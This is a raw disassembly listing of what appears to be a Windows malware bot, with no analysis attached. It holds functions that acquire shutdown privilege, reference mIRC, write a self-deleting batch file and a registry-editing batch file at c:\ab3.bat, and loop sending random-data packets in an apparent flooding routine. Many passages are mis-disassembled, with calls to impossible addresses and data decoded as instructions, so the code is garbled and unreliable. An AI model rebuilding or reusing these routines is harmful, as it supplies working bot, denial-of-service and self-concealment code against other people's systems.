		mov	eax, [esp+0Ch+arg_0]
		mov	al, [esi+eax]
		push	eax
		call	sub_409B08
		pop	ecx
		inc	esi
		mov	ecx, [esp+0Ch+arg_8]
		mov	[ecx+eax*4], ebx
		dec	ebx
		cmp	esi, edi
		jle	short loc_409AE9
		pop	ebx


loc_409B05:				; CODE XREF: sub_409ACC+18j
		pop	edi
		pop	esi
		retn
sub_409ACC	endp


; =============== S U B	R O U T	I N E =======================================



sub_409B08	proc near		; CODE XREF: sub_409ACC+25p
					; sub_409B26+6Bp

arg_0		= byte ptr  4

		movsx	eax, [esp+arg_0]
		push	eax
		call	sub_417173
		cmp	al, 61h
		pop	ecx
		jl	short loc_409B23
		cmp	al, 7Ah
		jg	short loc_409B23
		movsx	eax, al
		sub	eax, 60h
		retn
; ---------------------------------------------------------------------------


loc_409B23:				; CODE XREF: sub_409B08+Ej
					; sub_409B08+12j
		xor	eax, eax
		retn
sub_409B08	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409B26	proc near		; CODE XREF: sub_40B231+10p
					; sub_40B263+A0p

var_100C	= dword	ptr -100Ch
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 100Ch
		call	sub_415D50
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_0]
		call	sub_415CD0
		push	[ebp+arg_4]
		mov	[ebp+var_4], eax
		call	sub_415CD0
		mov	esi, eax
		lea	eax, [ebp+var_100C]
		push	eax
		push	esi
		push	[ebp+arg_4]
		mov	[ebp+var_C], esi
		call	sub_409ACC
		add	esp, 14h
		dec	esi
		mov	edi, esi


loc_409B64:				; CODE XREF: sub_409B26+B6j
		test	esi, esi
		jle	short loc_409BE2
		mov	eax, [ebp+arg_4]
		movsx	eax, byte ptr [esi+eax]
		push	eax
		call	sub_417173
		mov	ebx, eax
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [edi+eax]
		push	eax
		call	sub_417173
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_409BDA


loc_409B8A:				; CODE XREF: sub_409B26+B2j
		mov	ebx, [ebp+arg_0]
		mov	al, [edi+ebx]
		push	eax
		call	sub_409B08
		mov	edx, [ebp+var_C]
		mov	eax, [ebp+eax*4+var_100C]
		pop	ecx
		mov	ecx, edx
		sub	ecx, esi
		cmp	ecx, eax
		jle	short loc_409BAB
		mov	eax, ecx


loc_409BAB:				; CODE XREF: sub_409B26+81j
		add	edi, eax
		cmp	edi, [ebp+var_4]
		jge	short loc_409BDE
		mov	eax, [ebp+arg_4]
		lea	esi, [edx-1]
		movsx	eax, byte ptr [esi+eax]
		push	eax
		call	sub_417173
		mov	edx, eax
		movsx	eax, byte ptr [edi+ebx]
		push	eax
		mov	[ebp+var_8], edx
		call	sub_417173
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+var_8]
		cmp	eax, ecx
		jnz	short loc_409B8A


loc_409BDA:				; CODE XREF: sub_409B26+62j
		dec	edi
		dec	esi
		jmp	short loc_409B64
; ---------------------------------------------------------------------------


loc_409BDE:				; CODE XREF: sub_409B26+8Aj
		xor	eax, eax
		jmp	short loc_409BE7
; ---------------------------------------------------------------------------


loc_409BE2:				; CODE XREF: sub_409B26+40j
		mov	eax, [ebp+arg_0]
		add	eax, edi


loc_409BE7:				; CODE XREF: sub_409B26+BAj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_409B26	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409BEC	proc near		; CODE XREF: seg000:00410985p
					; seg000:0041158Cp

var_100		= byte ptr -100h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 100h
		push	esi
		call	ds:dword_421088
		mov	esi, eax
		push	0
		lea	eax, [ebp+var_100]
		push	100h
		push	eax
		push	400h
		push	esi
		push	0
		push	1200h
		call	near ptr 0D917EA5Fh
		dec	edx
		lea	eax, [ebp+var_100]


loc_409C25:				; CODE XREF: sub_409BEC+46j
		mov	cl, [eax]
		cmp	cl, 1Fh
		jg	short loc_409C31
		cmp	cl, 9
		jnz	short loc_409C34


loc_409C31:				; CODE XREF: sub_409BEC+3Ej
		inc	eax
		jmp	short loc_409C25
; ---------------------------------------------------------------------------


loc_409C34:				; CODE XREF: sub_409BEC+43j
					; sub_409BEC+5Bj ...
		and	byte ptr [eax],	0
		dec	eax
		lea	ecx, [ebp+var_100]
		cmp	eax, ecx
		jb	short loc_409C4E
		mov	cl, [eax]
		cmp	cl, 2Eh
		jz	short loc_409C34
		cmp	cl, 21h
		jl	short loc_409C34


loc_409C4E:				; CODE XREF: sub_409BEC+54j
		lea	eax, [ebp+var_100]
		push	esi
		push	eax
		mov	esi, offset dword_43A498
		push	[ebp+arg_0]
		push	offset aSErrorSD_ ; "%s	Error: %s <%d>."
		push	200h
		push	esi
		call	sub_415A4A
		add	esp, 18h
		mov	eax, esi
		pop	esi
		leave
		retn
sub_409BEC	endp


; =============== S U B	R O U T	I N E =======================================



sub_409C76	proc near		; CODE XREF: seg000:00411FC0p
		push	esi
		push	0
		call	ds:dword_43A338
		test	eax, eax
		jz	short loc_409CAD
		push	1
		call	ds:dword_43A358
		mov	esi, eax
		test	esi, esi
		jz	short loc_409CAD
		push	edi
		push	esi
		call	ds:dword_4210D4
		push	esi
		mov	edi, eax
		call	ds:dword_4210D0
		call	ds:dword_43A3BC
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_409CAD:				; CODE XREF: sub_409C76+Bj
					; sub_409C76+19j
		xor	eax, eax
		pop	esi
		retn
sub_409C76	endp

; ---------------------------------------------------------------------------


loc_409CB1:				; CODE XREF: seg000:0041137Cp
		push	ebp
		push	esi
		push	edi
		xor	esi, esi
		mov	edi, offset aMirc ; "mIRC"
		push	esi
		push	edi
		call	ds:dword_43A374
		mov	ebp, eax
		cmp	ebp, esi
		jz	short loc_409D2D
		push	ebx
		push	edi
		push	1000h
		push	esi
		push	4
		push	esi
		push	0FFFFFFFFh
		call	near ptr 9DB6230Ch
		imul	edx, [esi+56h],	6856F88Bh
		pop	ds
		add	[edi], cl
		add	[edi-18h], dl
		or	bl, [ebp-4D4FCCh]
		jz	short loc_409D14
		adc	al, 8Bh
		fcom	dword ptr [ebx-18h]
		aam	0B7h
; ---------------------------------------------------------------------------
		db 0
		dd 56595900h, 0C868016Ah, 55000004h, 0A3C415FFh, 6A560043h
		dd 4C96801h, 0FF550000h
; ---------------------------------------------------------------------------


loc_409D14:				; CODE XREF: seg000:00409CEEj
		adc	eax, offset dword_43A3C4
		push	ebx
		call	near ptr 41DB37C3h
		not	byte ptr [edi-1]
		adc	eax, offset dword_42106C
		push	1
		pop	eax
		pop	ebx
		jmp	short loc_409D2F
; ---------------------------------------------------------------------------


loc_409D2D:				; CODE XREF: seg000:00409CC7j
		xor	eax, eax


loc_409D2F:				; CODE XREF: seg000:00409D2Bj
		pop	edi
		pop	esi
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 11Ch
		push	ebx
		push	esi
		xor	esi, esi
		push	edi
		lea	eax, [ebp-11Ch]
		push	esi
		push	eax
		push	104h
		push	esi
		push	offset aExplorer_exe ; "explorer.exe"
		push	esi
		call	ds:dword_43A424
		test	eax, eax
		jz	short near ptr loc_409DD1+1
		mov	edi, 80h
		push	esi
		push	edi
		push	3
		push	esi
		mov	esi, ds:dword_421078
		push	1
		lea	eax, [ebp-11Ch]
		push	80000000h
		push	eax
		call	esi
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	short near ptr loc_409DD1+1
		lea	eax, [ebp-18h]
		push	eax
		lea	eax, [ebp-8]
		push	eax
		lea	eax, [ebp-10h]
		push	eax
		push	ebx
		call	near ptr 10808022h
		les	edx, [ebx-75h]
		sbb	eax, offset dword_42106C
		call	ebx
		push	0
		push	edi
		push	3
		push	0
		push	2
		push	40000000h
		push	dword ptr [ebp+8]
		call	esi
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short near ptr loc_409DD1+1
		lea	eax, [ebp-18h]
		push	eax
		lea	eax, [ebp-8]	; CODE XREF: seg000:00409E33j
		push	eax
		lea	eax, [ebp-10h]
		push	eax
		push	esi
		call	near ptr 6C639BA4h
		rcl	dword ptr [esi-1], 1


loc_409DD1:				; CODE XREF: seg000:00409D5Dj
					; seg000:00409D84j ...
		rcr	dword ptr [edi+5Eh], cl
		pop	ebx
		leave
		retn

; =============== S U B	R O U T	I N E =======================================



sub_409DD7	proc near		; CODE XREF: seg000:0040E1EFp
		push	1
		push	offset aSeshutdownpriv ; "SeShutdownPrivilege"
		call	sub_413D4D
		pop	ecx
		pop	ecx
		push	50005h
		push	6
		call	ds:dword_43A2B0
		neg	eax
		sbb	eax, eax
		neg	eax
		retn
sub_409DD7	endp

; ---------------------------------------------------------------------------


loc_409DF9:				; CODE XREF: seg000:0040C145p
					; seg000:00412240p
		push	ebp
		mov	ebp, esp
		sub	esp, 764h
		push	esi
		xor	esi, esi
		cmp	ds:dword_42C160, esi
		push	edi
		jz	short loc_409E1D
		cmp	ds:dword_43A438, esi
		jnz	short loc_409E1D
		push	esi
		call	sub_40B392
		pop	ecx


loc_409E1D:				; CODE XREF: seg000:00409E0Cj
					; seg000:00409E14j
		call	sub_415142
		lea	eax, [ebp-764h]
		push	eax
		push	400h
		call	near ptr 67629617h
		ja	short near ptr loc_409DC0+2
		test	[eax+edi*8-72AF0001h], ebx
		test	[eax+68FFFFFDh], esp
		adc	[edx+eax*2-7E17B000h], bl
		mov	dh, 0
		add	[ebx-7A72F33Ch], al
		mov	al, ds:56FFFFFDh
		push	esi
		push	2
		push	esi
		push	esi
		push	40000000h
		push	eax
		call	ds:dword_421078
		mov	edi, eax
		cmp	edi, esi
		jbe	loc_409F7D
		lea	eax, [ebp-260h]
		push	eax
		lea	eax, [ebp-764h]
		push	offset a@echoOffRepeat ; "@echo	off\r\n:repeat\r\ndel \"%%1\"\r\nif exist"...
		push	eax
		call	sub_4154CD
		add	esp, 0Ch
		lea	eax, [ebp-4]
		push	esi
		push	eax
		lea	eax, [ebp-764h]
		push	eax
		call	sub_415CD0
		pop	ecx
		push	eax
		lea	eax, [ebp-764h]
		push	eax
		push	edi
		call	near ptr 0C2D6755Ah
		call	dword ptr [edi-1]
		adc	eax, offset dword_42106C
		push	10h
		lea	eax, [ebp-14h]
		push	esi
		push	eax
		call	sub_415550
		push	44h
		lea	eax, [ebp-58h]
		pop	edi
		push	edi
		push	esi
		push	eax
		call	sub_415550
		add	esp, 18h
		mov	[ebp-58h], edi
		mov	edi, 104h
		lea	eax, [ebp-15Ch]
		push	edi
		push	eax
		push	esi
		mov	dword ptr [ebp-4Ch], offset byte_438F8C
		mov	dword ptr [ebp-2Ch], 1
		mov	[ebp-28h], si
		call	near ptr 9DCB7785h
		lock push eax
		call	near ptr 46F34473h
		ror	dword ptr [ebp-15B7Bh],	1
		call	dword ptr [eax-1]
		adc	eax, offset dword_421094
		cmp	eax, 0FFFFFFFFh
		jz	short near ptr loc_409F24+1
		lea	eax, [ebp-15Ch]
		push	80h
		push	eax
		call	near ptr 1CD26B30h


loc_409F24:				; CODE XREF: seg000:00409F11j
		mov	edi, 0FEA4858Dh
; ---------------------------------------------------------------------------
		db 2 dup(0FFh),	50h
		dd 0FDA0858Dh, 8D50FFFFh, 0FFF89C85h, 9BB468FFh, 0E8500042h
		dd 0B589h, 8D10C483h, 0FFFC9C85h, 8D5057FFh, 0FFF89C85h
		dd 0E0E850FFh, 0C348F4D1h, 50EC458Dh, 50A8458Dh, 8685656h
		dd 6A000040h, 858D5601h, 0FFFFFC9Ch, 0E8565056h, 7729EFB2h
; ---------------------------------------------------------------------------
		cmpsd


loc_409F7D:				; CODE XREF: seg000:00409E6Bj
		pop	edi
		pop	esi
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409F81	proc near		; CODE XREF: seg000:0040C697p

var_1860	= byte ptr -1860h
var_158		= byte ptr -158h
var_58		= byte ptr -58h
var_48		= dword	ptr -48h
var_1C		= dword	ptr -1Ch
var_18		= word ptr -18h
var_4		= byte ptr -4

		push	ebp
		mov	ebp, esp
		mov	eax, 1860h
		call	sub_415D50
		push	esi
		push	edi
		mov	ecx, 5C1h
		mov	esi, offset a@echoOffEchoRe ; "@echo off\r\nEcho REGEDIT4>%temp%\\1.reg\r\n"...
		lea	edi, [ebp+var_1860]
		lea	eax, [ebp+var_158]
		rep movsd
		movsw
		push	offset aCAb3_bat ; "c:\\ab3.bat"
		push	eax
		movsb
		call	sub_4154CD
		pop	ecx
		xor	esi, esi
		pop	ecx
		lea	eax, [ebp+var_158]
		push	esi
		push	esi
		push	2
		push	esi
		push	esi
		push	40000000h
		push	eax
		call	ds:dword_421078
		mov	edi, eax
		cmp	edi, esi
		jbe	short near ptr loc_40A03A+1
		lea	eax, [ebp+var_4]
		push	esi
		push	eax
		lea	eax, [ebp+var_1860]
		push	eax
		call	sub_415CD0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1860]
		push	eax
		push	edi
		call	near ptr 69BDAFC7h
		mov	byte ptr [edi-1], 15h
		insb
		adc	[edx+0], al
		push	44h
		lea	eax, [ebp+var_48]
		pop	edi
		push	edi
		push	esi
		push	eax
		call	sub_415550
		add	esp, 0Ch
		lea	ecx, [ebp+var_58]
		mov	[ebp+var_48], edi
		mov	[ebp+var_18], si
		push	1
		pop	eax
		push	ecx
		lea	ecx, [ebp+var_48]
		push	ecx
		push	esi
		push	esi
		push	28h
		mov	[ebp+var_1C], eax
		push	eax
		push	esi
		lea	eax, [ebp+var_158]
		push	esi
		push	eax
		push	esi
		call	near ptr 492E1E5Ch


loc_40A03A:				; CODE XREF: sub_409F81+55j
		jz	short near ptr loc_40A096+5
		pop	esi
		leave
		retn
sub_409F81	endp


; =============== S U B	R O U T	I N E =======================================



sub_40A03F	proc near		; CODE XREF: sub_4013E9+7p
					; sub_401B7C+7p ...

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	ds:dword_43A3A8
		cmp	eax, 0FFFFFFFFh
		jnz	short locret_40A067
		push	[esp+arg_0]
		call	ds:dword_43A3EC
		test	eax, eax
		jnz	short loc_40A060
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------


loc_40A060:				; CODE XREF: sub_40A03F+1Bj
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]

locret_40A067:				; CODE XREF: sub_40A03F+Dj
		retn
sub_40A03F	endp


; =============== S U B	R O U T	I N E =======================================



sub_40A068	proc near		; CODE XREF: sub_40CB59+D6p
		mov	ecx, ds:dword_43A290
		xor	eax, eax
		test	ecx, ecx
		jz	short locret_40A076
		call	ecx

locret_40A076:				; CODE XREF: sub_40A068+Aj
		retn
sub_40A068	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A077	proc near		; CODE XREF: seg000:loc_411F72p

var_88		= byte ptr -88h
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 88h
		push	ebx
		push	esi
		push	edi
		push	1
		pop	ebx
		lea	eax, [ebp+var_8]
		xor	edi, edi
		push	ebx
		push	eax
		push	edi
		xor	esi, esi
		mov	[ebp+var_8], edi
		mov	[ebp+var_4], ebx


loc_40A096:				; CODE XREF: sub_409F81:loc_40A03Aj
		call	ds:dword_43A3E4
		mov	ecx, eax
		sub	ecx, edi
		jz	loc_40A13D
		sub	ecx, 32h
		jz	loc_40A136
		sub	ecx, 48h
		jz	short loc_40A0D7
		sub	ecx, 6Eh
		jz	short loc_40A0D0


loc_40A0B9:				; CODE XREF: sub_40A077+8Bj
		push	eax
		lea	eax, [ebp+var_88]
		push	offset unk_42B3F0
		push	eax
		call	sub_4154CD
		add	esp, 0Ch
		jmp	short loc_40A117
; ---------------------------------------------------------------------------


loc_40A0D0:				; CODE XREF: sub_40A077+40j
		push	offset unk_42B3B8
		jmp	short loc_40A109
; ---------------------------------------------------------------------------


loc_40A0D7:				; CODE XREF: sub_40A077+3Bj
		push	[ebp+var_8]
		call	sub_415DA9
		push	[ebp+var_8]
		mov	esi, eax
		push	edi
		push	esi
		call	sub_415550
		add	esp, 10h
		cmp	esi, edi
		jz	short loc_40A104
		lea	eax, [ebp+var_8]
		push	ebx
		push	eax
		push	esi
		call	ds:dword_43A3E4
		cmp	eax, edi
		jz	short loc_40A13D
		jmp	short loc_40A0B9
; ---------------------------------------------------------------------------


loc_40A104:				; CODE XREF: sub_40A077+79j
		push	offset unk_42B374


loc_40A109:				; CODE XREF: sub_40A077+5Ej
					; sub_40A077+C4j
		lea	eax, [ebp+var_88]
		push	eax
		call	sub_4154CD
		pop	ecx
		pop	ecx


loc_40A117:				; CODE XREF: sub_40A077+57j
		lea	eax, [ebp+var_88]
		mov	[ebp+var_4], edi
		push	eax
		call	sub_40B151
		pop	ecx


loc_40A127:				; CODE XREF: sub_40A077+C8j
					; sub_40A077+DCj
		push	esi
		call	sub_415E1D
		mov	eax, [ebp+var_4]
		pop	ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_40A136:				; CODE XREF: sub_40A077+32j
		push	offset unk_42B330
		jmp	short loc_40A109
; ---------------------------------------------------------------------------


loc_40A13D:				; CODE XREF: sub_40A077+29j
					; sub_40A077+89j
		cmp	[esi], edi
		jbe	short loc_40A127
		lea	ebx, [esi+4]


loc_40A144:				; CODE XREF: sub_40A077+DAj
		push	ebx
		call	ds:dword_43A3E0
		inc	edi
		add	ebx, 18h
		cmp	edi, [esi]
		jb	short loc_40A144
		jmp	short loc_40A127
sub_40A077	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A155	proc near		; CODE XREF: seg000:0040168Ap
					; seg000:00401E3Ep ...

var_14		= byte ptr -14h
var_10		= byte ptr -10h
var_F		= byte ptr -0Fh
var_E		= byte ptr -0Eh
var_D		= byte ptr -0Dh
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	esi
		push	10h
		pop	eax
		mov	[ebp+var_4], eax
		push	eax
		lea	eax, [ebp+var_14]
		push	0
		push	eax
		call	sub_415550
		add	esp, 0Ch
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		call	ds:dword_43A30C
		movzx	eax, [ebp+var_D]
		push	eax
		mov	esi, offset dword_43A69C
		movzx	eax, [ebp+var_E]
		push	eax
		movzx	eax, [ebp+var_F]
		push	eax
		movzx	eax, [ebp+var_10]
		push	eax
		push	offset aD_D_D_D	; "%d.%d.%d.%d"
		push	esi
		call	sub_4154CD
		add	esp, 18h
		mov	eax, esi
		pop	esi
		leave
		retn
sub_40A155	endp


; =============== S U B	R O U T	I N E =======================================



sub_40A1AE	proc near		; CODE XREF: seg000:004012FEp
					; seg000:00401344p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_4]
		xor	eax, eax
		cmp	esi, 1
		jle	short loc_40A1D7
		mov	ecx, esi
		push	edi
		shr	ecx, 1
		mov	edx, ecx
		neg	edx
		lea	esi, [esi+edx*2]
		mov	edx, [esp+8+arg_0]


loc_40A1CA:				; CODE XREF: sub_40A1AE+24j
		movzx	edi, word ptr [edx]
		add	eax, edi
		inc	edx
		inc	edx
		dec	ecx
		jnz	short loc_40A1CA
		pop	edi
		jmp	short loc_40A1DB
; ---------------------------------------------------------------------------


loc_40A1D7:				; CODE XREF: sub_40A1AE+Aj
		mov	edx, [esp+4+arg_0]


loc_40A1DB:				; CODE XREF: sub_40A1AE+27j
		test	esi, esi
		pop	esi
		jz	short loc_40A1E5
		movzx	ecx, byte ptr [edx]
		add	eax, ecx


loc_40A1E5:				; CODE XREF: sub_40A1AE+30j
		mov	ecx, eax
		and	eax, 0FFFFh
		shr	ecx, 10h
		add	ecx, eax
		mov	eax, ecx
		shr	eax, 10h
		add	eax, ecx
		not	eax
		retn
sub_40A1AE	endp

; ---------------------------------------------------------------------------


loc_40A1FB:				; DATA XREF: seg000:0040FB6Do
		push	ebp
		mov	ebp, esp
		mov	eax, 10320h
		call	sub_415D50
		mov	eax, [ebp+8]
		push	ebx
		push	esi
		push	edi
		push	49h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp-144h]
		rep movsd
		push	1
		pop	edi
		mov	[eax+120h], edi
		call	ds:dword_43A2F4
		mov	[ebp+8], eax
		lea	eax, [ebp-0C0h]
		push	eax
		call	ds:dword_43A3A8
		mov	esi, eax
		xor	ebx, ebx
		xor	eax, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_40A256
		lea	eax, [ebp-0C0h]
		push	eax
		call	ds:dword_43A3EC
		cmp	eax, ebx
		jz	short loc_40A25C


loc_40A256:				; CODE XREF: seg000:0040A243j
		cmp	dword ptr [ebp+8], 0FFFFFFFFh
		jnz	short near ptr loc_40A2B8+1


loc_40A25C:				; CODE XREF: seg000:0040A254j
		lea	eax, [ebp-0C0h]
		push	eax
		lea	eax, [ebp-344h]
		push	offset unk_42B474
		push	eax
		call	sub_4154CD
		add	esp, 0Ch
		cmp	[ebp-28h], ebx
		jnz	short loc_40A29C
		push	ebx
		lea	eax, [ebp-344h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-140h]
		push	eax
		push	dword ptr [ebp-144h]
		call	sub_412D32
		add	esp, 14h


loc_40A29C:				; CODE XREF: seg000:0040A27Aj
		lea	eax, [ebp-344h]
		push	eax
		call	sub_40B151
		push	dword ptr [ebp-30h]
		call	sub_415295
		pop	ecx
		pop	ecx
		push	edi
		call	near ptr 7831579Ch


loc_40A2B8:				; CODE XREF: seg000:0040A25Aj
		adc	eax, 0C74C33Bh
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]
		mov	[ebp-4], eax
		jmp	short loc_40A2CC
; ---------------------------------------------------------------------------
		mov	[ebp-4], esi


loc_40A2CC:				; CODE XREF: seg000:0040A2C7j
		push	1Ch
		lea	eax, [ebp-20h]
		push	ebx
		push	eax
		call	sub_415550
		or	dword ptr [ebp-18h], 0FFFFFFFFh
		mov	eax, 0FFDCh
		add	esp, 0Ch
		cmp	[ebp-3Ch], eax
		jle	short loc_40A2EC
		mov	[ebp-3Ch], eax


loc_40A2EC:				; CODE XREF: seg000:0040A2E7j
		cmp	[ebp-38h], edi
		jge	short loc_40A2F4
		mov	[ebp-38h], edi


loc_40A2F4:				; CODE XREF: seg000:0040A2EFj
		xor	esi, esi
		cmp	[ebp-40h], ebx
		jle	short loc_40A321


loc_40A2FB:				; CODE XREF: seg000:0040A31Fj
		push	dword ptr [ebp-38h]
		lea	eax, [ebp-20h]
		push	1Ch
		push	eax
		push	ebx
		lea	eax, [ebp-10320h]
		push	dword ptr [ebp-3Ch]
		push	eax
		push	dword ptr [ebp-4]
		push	dword ptr [ebp+8]
		call	ds:dword_43A28C
		inc	esi
		cmp	esi, [ebp-40h]
		jl	short loc_40A2FB


loc_40A321:				; CODE XREF: seg000:0040A2F9j
		push	dword ptr [ebp+8]
		call	ds:dword_43A420
		lea	eax, [ebp-0C0h]
		push	eax
		lea	eax, [ebp-344h]
		push	offset unk_42B434
		push	eax
		call	sub_4154CD
		add	esp, 0Ch
		cmp	[ebp-28h], ebx
		jnz	short loc_40A36A
		push	ebx
		lea	eax, [ebp-344h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-140h]
		push	eax
		push	dword ptr [ebp-144h]
		call	sub_412D32
		add	esp, 14h


loc_40A36A:				; CODE XREF: seg000:0040A348j
		lea	eax, [ebp-344h]
		push	eax
		call	sub_40B151
		push	dword ptr [ebp-30h]
		call	sub_415295
		pop	ecx
		pop	ecx
		push	ebx
		call	near ptr 0BC00103Bh
		jecxz	short near ptr loc_40A3DC+1
		mov	ebp, esp
		mov	eax, 10310h
		call	sub_415D50
		mov	eax, [ebp+8]
		push	ebx
		push	esi
		push	edi
		push	49h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp-134h]
		rep movsd
		push	1
		pop	esi
		mov	[eax+120h], esi
		call	ds:dword_42104C
		push	eax
		call	sub_41551F
		pop	ecx
		push	11h
		push	2
		push	2
		call	ds:dword_43A3E8
		mov	ebx, eax
		xor	edi, edi
		push	10h
		lea	eax, [ebp-10h]
		push	edi
		push	eax
		call	sub_415550
		add	esp, 0Ch


loc_40A3DC:				; CODE XREF: seg000:0040A386j
		lea	eax, [ebp-0B0h]
		mov	word ptr [ebp-10h], 2
		push	eax
		call	ds:dword_43A3A8
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+8], eax
		jnz	short near ptr loc_40A46B+1
		lea	eax, [ebp-0B0h]
		push	eax
		call	ds:dword_43A3EC
		cmp	eax, edi
		jnz	short near ptr loc_40A464+1
		lea	eax, [ebp-0B0h]
		push	eax
		lea	eax, [ebp-334h]
		push	offset dword_42B4F0
		push	eax
		call	sub_4154CD
		add	esp, 0Ch
		cmp	[ebp-18h], edi
		jnz	short loc_40A448
		push	edi
		lea	eax, [ebp-334h]
		push	dword ptr [ebp-1Ch]
		push	eax
		lea	eax, [ebp-130h]
		push	eax
		push	dword ptr [ebp-134h]
		call	sub_412D32
		add	esp, 14h


loc_40A448:				; CODE XREF: seg000:0040A426j
		lea	eax, [ebp-334h]
		push	eax
		call	sub_40B151
		push	dword ptr [ebp-20h]
		call	sub_415295
		pop	ecx
		pop	ecx
		push	esi
		call	near ptr 23CF1FE7h


loc_40A464:				; CODE XREF: seg000:0040A406j
		sbb	eax, 8B0C408Bh
		add	bl, ch


loc_40A46B:				; CODE XREF: seg000:0040A3F5j
		add	ecx, [ebp+8B0845h]
		cmp	[ebp-24h], edi
		mov	[ebp-0Ch], eax
		jnz	short loc_40A48A
		call	sub_415529
		cdq
		mov	ecx, 0FFDCh
		idiv	ecx
		inc	edx
		push	edx
		jmp	short loc_40A48D
; ---------------------------------------------------------------------------


loc_40A48A:				; CODE XREF: seg000:0040A477j
		push	dword ptr [ebp-24h]


loc_40A48D:				; CODE XREF: seg000:0040A488j
		call	ds:dword_43A368
		cmp	[ebp-24h], esi
		mov	[ebp-0Eh], ax
		jge	short loc_40A49F
		mov	[ebp-24h], esi


loc_40A49F:				; CODE XREF: seg000:0040A49Aj
		mov	eax, 0FFFFh
		cmp	[ebp-24h], eax
		jle	short loc_40A4AC
		mov	[ebp-24h], eax


loc_40A4AC:				; CODE XREF: seg000:0040A4A7j
		mov	eax, [ebp-30h]
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		cmp	[ebp-28h], edi
		mov	[ebp-30h], eax
		jnz	short loc_40A4C0
		mov	[ebp-28h], esi


loc_40A4C0:				; CODE XREF: seg000:0040A4BBj
		xor	esi, esi
		cmp	[ebp-2Ch], edi
		jle	short loc_40A4E1


loc_40A4C7:				; CODE XREF: seg000:0040A4DFj
		call	sub_415529
		cdq
		mov	ecx, 0FFh
		idiv	ecx
		inc	esi
		cmp	esi, [ebp-2Ch]
		mov	[ebp+esi-10311h], dl
		jl	short loc_40A4C7


loc_40A4E1:				; CODE XREF: seg000:0040A4C5j
					; seg000:0040A523j ...
		mov	eax, [ebp-30h]
		dec	dword ptr [ebp-30h]
		test	eax, eax
		jle	short loc_40A540
		push	0Bh
		pop	esi


loc_40A4EE:				; CODE XREF: seg000:0040A51Ej
		lea	eax, [ebp-10h]
		push	10h
		push	eax
		push	edi
		call	sub_415529
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		mov	eax, [ebp-2Ch]
		sub	eax, edx
		push	eax
		lea	eax, [ebp-10310h]
		push	eax
		push	ebx
		call	ds:dword_43A3CC
		push	dword ptr [ebp-28h]
		call	ds:dword_421060
		dec	esi
		jnz	short loc_40A4EE
		cmp	[ebp-24h], edi
		jnz	short loc_40A4E1
		call	sub_415529
		cdq
		mov	ecx, 0FFDCh
		idiv	ecx
		inc	edx
		push	edx
		call	ds:dword_43A368
		mov	[ebp-0Eh], ax
		jmp	short loc_40A4E1
; ---------------------------------------------------------------------------


loc_40A540:				; CODE XREF: seg000:0040A4E9j
		lea	eax, [ebp-0B0h]
		push	eax
		lea	eax, [ebp-334h]
		push	offset dword_42B4B0
		push	eax
		call	sub_4154CD
		add	esp, 0Ch
		cmp	[ebp-18h], edi
		jnz	short loc_40A580
		push	edi
		lea	eax, [ebp-334h]
		push	dword ptr [ebp-1Ch]
		push	eax
		lea	eax, [ebp-130h]
		push	eax
		push	dword ptr [ebp-134h]
		call	sub_412D32
		add	esp, 14h


loc_40A580:				; CODE XREF: seg000:0040A55Ej
		lea	eax, [ebp-334h]
		push	eax
		call	sub_40B151
		push	dword ptr [ebp-20h]
		call	sub_415295
		pop	ecx
		pop	ecx
		push	edi
		call	near ptr 6C5378BAh
		shl	byte ptr ds:dword_43A6B4[ecx], cl ; CODE XREF: sub_40A5CD+2Ap
					; seg000:0040A683p ...
		push	esi
		mov	esi, ds:dword_42106C
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40A5B1
		push	eax
		call	esi


loc_40A5B1:				; CODE XREF: seg000:0040A5ACj
		mov	eax, ds:dword_43A6BC
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40A5BE
		push	eax
		call	esi


loc_40A5BE:				; CODE XREF: seg000:0040A5B9j
		mov	eax, ds:dword_43A6B0
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40A5CB
		push	eax
